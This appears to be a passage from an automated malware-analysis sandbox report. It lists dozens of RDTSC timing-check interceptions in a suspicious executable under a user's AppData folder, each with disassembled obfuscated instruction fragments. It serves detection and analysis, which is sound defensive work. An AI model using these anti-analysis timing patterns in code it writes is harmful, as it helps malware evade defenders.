Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 512E2F second address: 512E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC91259401h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FBC91259409h 0x00000010 popad 0x00000011 jc 00007FBC91259400h 0x00000017 jmp 00007FBC912593FAh 0x0000001c jmp 00007FBC91259409h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 pop edi 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 512E94 second address: 512E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A832B second address: 5A8331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A7141 second address: 5A7148 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55AB19 second address: 53ED24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp], eax 0x00000008 stc 0x00000009 mov cl, 43h 0x0000000b lea eax, dword ptr [ebp+1247F8ADh] 0x00000011 xor ch, 00000036h 0x00000014 push eax 0x00000015 jg 00007FBC912593FEh 0x0000001b mov dword ptr [esp], eax 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007FBC912593F8h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 xor dword ptr [ebp+122D19A9h], edx 0x0000003e call dword ptr [ebp+1244E287h] 0x00000044 pushad 0x00000045 pushad 0x00000046 push esi 0x00000047 pop esi 0x00000048 pushad 0x00000049 popad 0x0000004a jmp 00007FBC91259408h 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55B0DC second address: 55B11C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FBC9118B8AFh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FBC9118B8B4h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push eax 0x00000019 pop eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FBC9118B8AAh 0x00000022 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55B11C second address: 55B168 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jp 00007FBC91259408h 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FBC912593F8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov edi, esi 0x0000002e push 190BF85Dh 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 push edi 0x00000037 pop edi 0x00000038 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55B168 second address: 55B16C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55B28C second address: 55B2A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259407h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55B2A7 second address: 55B2E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FBC9118B8B9h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FBC9118B8B0h 0x00000011 xchg eax, esi 0x00000012 or dword ptr [ebp+122D3381h], ebx 0x00000018 nop 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007FBC9118B8A6h 0x00000022 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55B2E8 second address: 55B30D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jng 00007FBC912593F6h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FBC91259402h 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55B30D second address: 55B311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55B40B second address: 55B412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55BAEB second address: 55BAFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC9118B8AFh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55BAFE second address: 55BB02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55BD12 second address: 55BD3F instructions: 0x00000000 rdtsc 0x00000002 je 00007FBC9118B8A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D1F80h], ebx 0x00000014 mov dword ptr [ebp+122D1D25h], edi 0x0000001a lea eax, dword ptr [ebp+1247F8ADh] 0x00000020 or ecx, dword ptr [ebp+122D3954h] 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push ebx 0x0000002a push edx 0x0000002b pop edx 0x0000002c pop ebx 0x0000002d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55BD3F second address: 55BD45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55BD45 second address: 53F8B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FBC9118B8A8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov ecx, dword ptr [ebp+122D2704h] 0x0000002e call dword ptr [ebp+1244B4A1h] 0x00000034 jbe 00007FBC9118B8AAh 0x0000003a push ecx 0x0000003b push eax 0x0000003c pop eax 0x0000003d pop ecx 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FBC9118B8B3h 0x00000046 jmp 00007FBC9118B8ADh 0x0000004b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A755C second address: 5A7573 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259403h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A76D1 second address: 5A76D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A76D7 second address: 5A76DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A76DD second address: 5A76E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A7857 second address: 5A7872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FBC91259403h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A7872 second address: 5A7878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A7878 second address: 5A7888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FBC91259402h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A7888 second address: 5A788E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A788E second address: 5A7892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A7892 second address: 5A78A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC9118B8B2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A78A8 second address: 5A78AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A78AC second address: 5A78B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A7B9C second address: 5A7BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A7E46 second address: 5A7E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC9118B8AAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA605 second address: 5AA60A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA60A second address: 5AA612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA612 second address: 5AA616 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA1BF second address: 5AA1C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA1C5 second address: 5AA1C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA303 second address: 5AA329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007FBC9118B8B3h 0x0000000a jnc 00007FBC9118B8A6h 0x00000010 pop esi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA329 second address: 5AA32D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA32D second address: 5AA333 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA333 second address: 5AA339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5AA339 second address: 5AA33D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B47A4 second address: 5B47B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FBC912593F6h 0x00000009 jo 00007FBC912593F6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B3063 second address: 5B3069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B3069 second address: 5B3078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FBC912593F6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B3078 second address: 5B307C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B3364 second address: 5B3373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007FBC912593F6h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B34B7 second address: 5B34BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B34BD second address: 5B34D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B34D6 second address: 5B34DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B3650 second address: 5B3657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B44A9 second address: 5B44AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B8690 second address: 5B86A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FBC91259402h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7933 second address: 5B7939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7939 second address: 5B793F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B793F second address: 5B7943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7943 second address: 5B7978 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBC91259400h 0x00000010 jmp 00007FBC91259402h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7978 second address: 5B79D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007FBC9118B8C2h 0x0000000f js 00007FBC9118B8A6h 0x00000015 jmp 00007FBC9118B8B6h 0x0000001a jmp 00007FBC9118B8B8h 0x0000001f jp 00007FBC9118B8A8h 0x00000025 jo 00007FBC9118B8B2h 0x0000002b ja 00007FBC9118B8A6h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7D59 second address: 5B7D6D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FBC912593FEh 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7D6D second address: 5B7D72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7D72 second address: 5B7D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBC91259402h 0x0000000b jnl 00007FBC912593F6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7D95 second address: 5B7D9F instructions: 0x00000000 rdtsc 0x00000002 js 00007FBC9118B8A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7D9F second address: 5B7DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FBC912593FEh 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7DB3 second address: 5B7DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5B7F24 second address: 5B7F41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259404h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5BAFBB second address: 5BAFEE instructions: 0x00000000 rdtsc 0x00000002 js 00007FBC9118B8A6h 0x00000008 jne 00007FBC9118B8A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007FBC9118B8E5h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FBC9118B8B9h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5BAFEE second address: 5BAFF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C0B17 second address: 5C0B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C0B1D second address: 5C0B27 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBC912593F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C0E81 second address: 5C0E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C0E87 second address: 5C0E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C0E8D second address: 5C0E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C0E93 second address: 5C0EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FBC912593FDh 0x0000000a pop edi 0x0000000b pushad 0x0000000c jmp 00007FBC912593FFh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C0EBC second address: 5C0EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C0EC0 second address: 5C0EEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259406h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FBC912593FCh 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1211 second address: 5C1215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1810 second address: 5C181B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C181B second address: 5C1821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1821 second address: 5C1842 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBC91259409h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1842 second address: 5C1848 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1B63 second address: 5C1B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1B67 second address: 5C1B6D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1B6D second address: 5C1B93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FBC91259408h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1B93 second address: 5C1BAD instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBC9118B8A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 pushad 0x00000012 jp 00007FBC9118B8A6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1BAD second address: 5C1BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1BB6 second address: 5C1BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
